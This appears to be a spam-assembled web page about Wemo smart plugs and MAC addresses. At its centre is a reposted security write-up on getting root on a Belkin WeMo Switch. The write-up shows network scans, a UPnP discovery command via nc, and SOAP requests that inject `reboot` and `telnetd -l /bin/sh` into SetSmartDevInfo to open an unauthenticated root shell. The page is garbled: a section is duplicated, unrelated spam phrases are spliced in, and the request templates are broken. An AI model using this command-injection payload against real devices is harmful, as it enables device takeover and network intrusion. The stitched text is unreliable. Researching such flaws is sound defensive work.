Alexa Wemo Mac Address

I have been able to connect my Wemo Devices once. The first problem I think was trying to connect all my devices through a wireless repeater. When using the wireless repeater all of the wemo devices had the mac address of the repeater. The Wemo app worked but no luck with the ST hub. I changed configurations not to go through the repeater and everything seemd to be working fine until today one. 'Alexa, turn on lamp 1' 'Alexa, turn off lamp 1' 'Alexa, turn on lamp 2' 'Alexa, turn on lamp 2' You can also control both lamps at the same time by creating a group in the Amazon Alexa app. We called it 'lamps'. Now, you can control both lamps at the same time, using the following voice commands.

Mac address of 1 affected wemo device. Link to this thread for reference. Wemo Technical Support. Like Liked Unlike. Stampeder (Customer) 2 years ago. Neither of which have apps that will work with the Wemo's to get Alexa to work. I can't even downgrade to a previous version as Belkin has removed those from the. When I connected my computer to the WeMo's wireless network I was given 10.22.22.102 as my IP address. Using netdiscover (netdiscover -i wlan0 -r 10.22.22.0/24), I determined that the IP address of the WeMo was 10.22.22.1. Scanning the device. Once I determined the IP address of WeMo, the next step was to scan it to determine which ports were. The hardware address (aka MAC address) for most WeMo devices (Mini Smart Plug, Smart Switch), is usually printed on the back of the device (front for the Wemo® Light Switch). However, the MAC address the network uses is one digit higher that the one printed on the sticker. (See ' Why two MAC addresses.

*Updated 12/7/2015 – NOTE: The WeMo attack vector described in this article was resolved with WeMo firmware release 2.00.8643. Customers are encouraged to install the latest update immediately.

There were many activities hosted at SecTor 2015. My favorite activity was the Internet of Things Hack Lab sponsored by Tripwire.

The term Internet of Things (IoT) refers to physical devices that have networking capabilities. These devices or 'things' can vary greatly in terms of their capabilities, such as smart light bulbs, smart thermostats, and smart outlets, like the one that I will be talking about later in this post.

Researchers from Tripwire were on hand to help attendees explore the world of IoT hacking. They brought with them a table full of devices ranging from routers to smart televisions. They also had a video demonstration of the exploitation of vulnerabilities in a home router.

On the first day of the conference, I was walking around, talking to a bunch of vendors to see what they did, what software or hardware they made, and what services they offered. Nearing the end of the day, I decided to check out the IoT Hack Lab. I was fascinated by the devices that they had and decided to talk to them about what was going on.

They told me that most of the devices here had vulnerabilities and that anyone was welcome to sit down and attempt to exploit them. Best pdf organizer mac. Interested by the possibility to get my hands dirty and exploit vulnerabilities, I decided to participate. Unfortunately, there were no available laptops to use at the time, so I decided to come back the next day.

The following day I showed up with my laptop, a Kali Linux VM, and a wireless adapter. I sat down and began looking for the vulnerabilities the devices had. The first device that I looked at was a TRENDNet router with an authentication bypass vulnerability that I successfully exploited.

The second device was a Belkin WeMo Switch; this post details my experiences with that device and a protocol that I had heard about but had never really looked into.

About the Device

The Belkin WeMo Switch is part of Belkin's home automation lineup. The switch is used for turning the attached device on and off. The attached device can also be placed on a schedule. Here are some details about the device I used:

Device:WeMo Switch
Firmware:WeMo_WW_2.00.8326.PVT-OWRT-SNS

When an unconfigured Belkin WeMo Switch is first powered on it advertises a wireless network (SSID: WeMo.Switch.X, where X is the last three characters of the serial number). Typically, a smartphone is used to configure the WeMo to have it connect to your existing wireless network.

When I connected my computer to the WeMo's wireless network I was given 10.22.22.102 as my IP address. Using netdiscover (netdiscover -i wlan0 -r 10.22.22.0/24), I determined that the IP address of the WeMo was 10.22.22.1.

Scanning the device

Once I determined the IP address of WeMo, the next step was to scan it to determine which ports were open. Using nmap (nmap -sS -sU -sV -v -e wlan0 10.22.22.1), I determined that the following ports were open:

MAC Address: XX:XX:XX:XX:XX:XX (Belkin International)

How to talk to the device

Navigating to 10.22.22.1 on port 49152 in the browser resulted in a 404. It was time to determine which UPnP services are available by issuing an M-SEARCH command.

printf 'M-SEARCH * HTTP/1.1rnHOST:239.255.255.250:1900rnST:upnp:rootdevicernMX:10rnMAN:'ssdp:discover'rnrn' | nc -u 239.255.255.250 1900 -p 1900

While issuing the command above, I had a netcat listener running, and I received the following response:

nc -lup 1900

HTTP/1.1 200 OK

CACHE-CONTROL: max-age=86400

DATE: Sat, 01 Jan 2000 01:23:41 GMT

EXT:

LOCATION: http://10.22.22.1:49152/setup.xml

OPT: 'http://schemas.upnp.org/upnp/1/0/'; ns=01

01-NLS: 794dc9a6-1dd2-11b2-9c60-cdf5773d7a81

SERVER: Unspecified, UPnP/1.0, Unspecified

X-User-Agent: redsonic

Alexa Wemo Mac Address Password

ST: upnp:rootdevice

USN: uuid:Socket-1_0-XXXXXXXXXXXXXX::upnp:rootdevice

Navigating to http://10.22.22.1:49152/setup.xml resulted in a document that details specifics about the device, such as model name, model number, serial number and much more. Free n64 emulator mac. This document also lists the services that can be accessed via UPnP, and a path to an XML document that outlines the methods and variables. One of the interesting services is basicevent, and the document that details the methods of that service is located at http://10.22.22.1:49152/eventservice.xml.

Finding the vulnerability

There were a few methods that accept input, they included:

• ChangeFriendlyName
• SetSmartDevInfo

In order to use those methods I had to craft SOAP requests. Here is a sample request template:

POST HTTP/1.1

Content-Length:

SOAPACTION: '#'

Content-Type: text/xml; charset='utf-8'

Accept: '

xmlns:u=''>

<>>

>

The ChangeFriendlyName method did not seem to be vulnerable. However, the SetSmartDevInfo method did seem to be vulnerable. When I set the SmartDevURL variable to `reboot` the device rebooted. This is what that request looked like:

POST /upnp/control/basicevent1 HTTP/1.1

Content-Length:

SOAPACTION: 'urn:Belkin:service:basicevent:1#SetSmartDevInfo'

Content-Type: text/xml; charset='utf-8'

Accept: '

Clean up junk on mac.

`reboot`

Alexa Wemo Mac Address Password

ST: upnp:rootdevice

USN: uuid:Socket-1_0-XXXXXXXXXXXXXX::upnp:rootdevice

Navigating to http://10.22.22.1:49152/setup.xml resulted in a document that details specifics about the device, such as model name, model number, serial number and much more. Free n64 emulator mac. This document also lists the services that can be accessed via UPnP, and a path to an XML document that outlines the methods and variables. One of the interesting services is basicevent, and the document that details the methods of that service is located at http://10.22.22.1:49152/eventservice.xml.

Finding the vulnerability

There were a few methods that accept input, they included:

• ChangeFriendlyName
• SetSmartDevInfo

In order to use those methods I had to craft SOAP requests. Here is a sample request template:

POST HTTP/1.1

Content-Length:

SOAPACTION: '#'

Content-Type: text/xml; charset='utf-8'

Accept: '

xmlns:u=''>

<>>

>

The ChangeFriendlyName method did not seem to be vulnerable. However, the SetSmartDevInfo method did seem to be vulnerable. When I set the SmartDevURL variable to `reboot` the device rebooted. This is what that request looked like:

POST /upnp/control/basicevent1 HTTP/1.1

Content-Length:

SOAPACTION: 'urn:Belkin:service:basicevent:1#SetSmartDevInfo'

Content-Type: text/xml; charset='utf-8'

Accept: '

Clean up junk on mac.

`reboot`

The next step was to find a way to get a shell.

Getting Root

Knowing that I could execute commands, it was time to get a shell. It might be possible to start some kind of login service like Telnet or SSH. I tried to start telnetd by setting the SmartDevURL value to `telnetd`. I then did a quick TCP scan (nmap -sS -vvv 10.22.22.1) of the device to determine if telnet was running.

MAC Address: XX:XX:XX:XX:XX:XX (Belkin International)

It looked like I was able to start Telnet.

When trying to Telnet into the device I was prompted for a username and password. After about 5 minutes of trying common default username and password combinations, I decided to see how I could login without knowing the credentials. After some research I discovered that telnetd can be started with the –l flag that specifies the login executable. By setting the SmartDevURL variable to `telnetd –l /bin/sh` I should now be given a shell instead of a login prompt. It worked.

The request looked like:

POST /upnp/control/basicevent1 HTTP/1.1

Control Wemo With Alexa

Content-Length:

SOAPACTION: 'urn:Belkin:service:basicevent:1#SetSmartDevInfo'

Content-Type: text/xml; charset='utf-8'

Accept: '

`telnetd -l /bin/sh`

Final Remarks

Once root was obtained the possibilities were endless. I now had full control of the WeMo, allowing me to turn on and off the device connected to the outlet. In addition, it would be possible to modify how the device operates, such as adding in additional functionality. Having this level of control over the device also allows one to use the device maliciously. One can use it as a node in attacks, a pivot point into the network that it is connected to or as another bot in a botnet.

Overall this was a great activity that was hosted at SecTor 2015 and it would be great if there were more activities like this in the future. It was a great way to learn new skills.

About the Author:Bryon Hart is an information systems security professional who is passionate about what he does. He is a recent graduate of the Bachelor of Applied Information Sciences program at Sheridan College. He also has a diploma in Computer Engineering from Sheridan College. Bryon is currently employed as a security analyst with Duff and Phelps' Information Security Services team.

Editor's Note:The opinions expressed in this guest author article are solely those of the contributor, and do not necessarily reflect those of Tripwire, Inc.

_{Title image courtesy of ShutterStock}

Connect Wemo Switch To Alexa

First of all you should know that about MAC address, a MAC address is a hardware identification number which uniquely identifies each device on a network. The MAC address is manufactured into each network card like Ethernet card or Wi-Fi card and there cannot be changed, so every device has a MAC address. The newly launched Amazon echo devices are also have a MAC address like every devices so you need to find it at some time, it is very important to know about how to find MAC address for Amazon echo devices. Here is the method for it.

You will absolutely need your MAC address to configure as well as troubleshoot network issues on your device. Be make sure that to use the correct MAC address which is depending on your connection type, many devices have both addresses wireless and a wire MAC address. Your device is not listed here, please check your user manual or contact the manufacturer of device-specified instructions. Here we guide you about the MAZ address of Amazon echo device and the process of how to find MAC address for Amazon echo device.

Read Also:

How to find MAC address for Amazon Echo devices

First of all you have to download an Alexa app to your phone or to your computer. Alexa app is most needed for the finding MAC address. After that sign in to your Amazon account through your Alexa app. Now connect to a wireless network which is transmitted by your Echo device. The wireless MAC address for your echo is seen at the bottom of the Echo Setup screen in your Alexa app and this is how you can find your MAC address for your echo device.

Amazon launched other devices also, Amazon fire TV is the also well known and most used device. Also you can need MAC address some time, here is the method for that.

First of all plug in your Amazon fire stick in to your fire TV and then go to further – if you are using your fire TV device first time the wireless MAC address will appear in the list of wireless networks during your setup. If this fire TV stick has been used not first time navigate these steps. First of all open settings then system and then go to the about and then open network and your MAC address listed at your screen. So you can easily find MAC address for your Amazon fire TV also.

We hope that you can understand the need of MAC address and the process for how to find MAC address for Amazon echo device.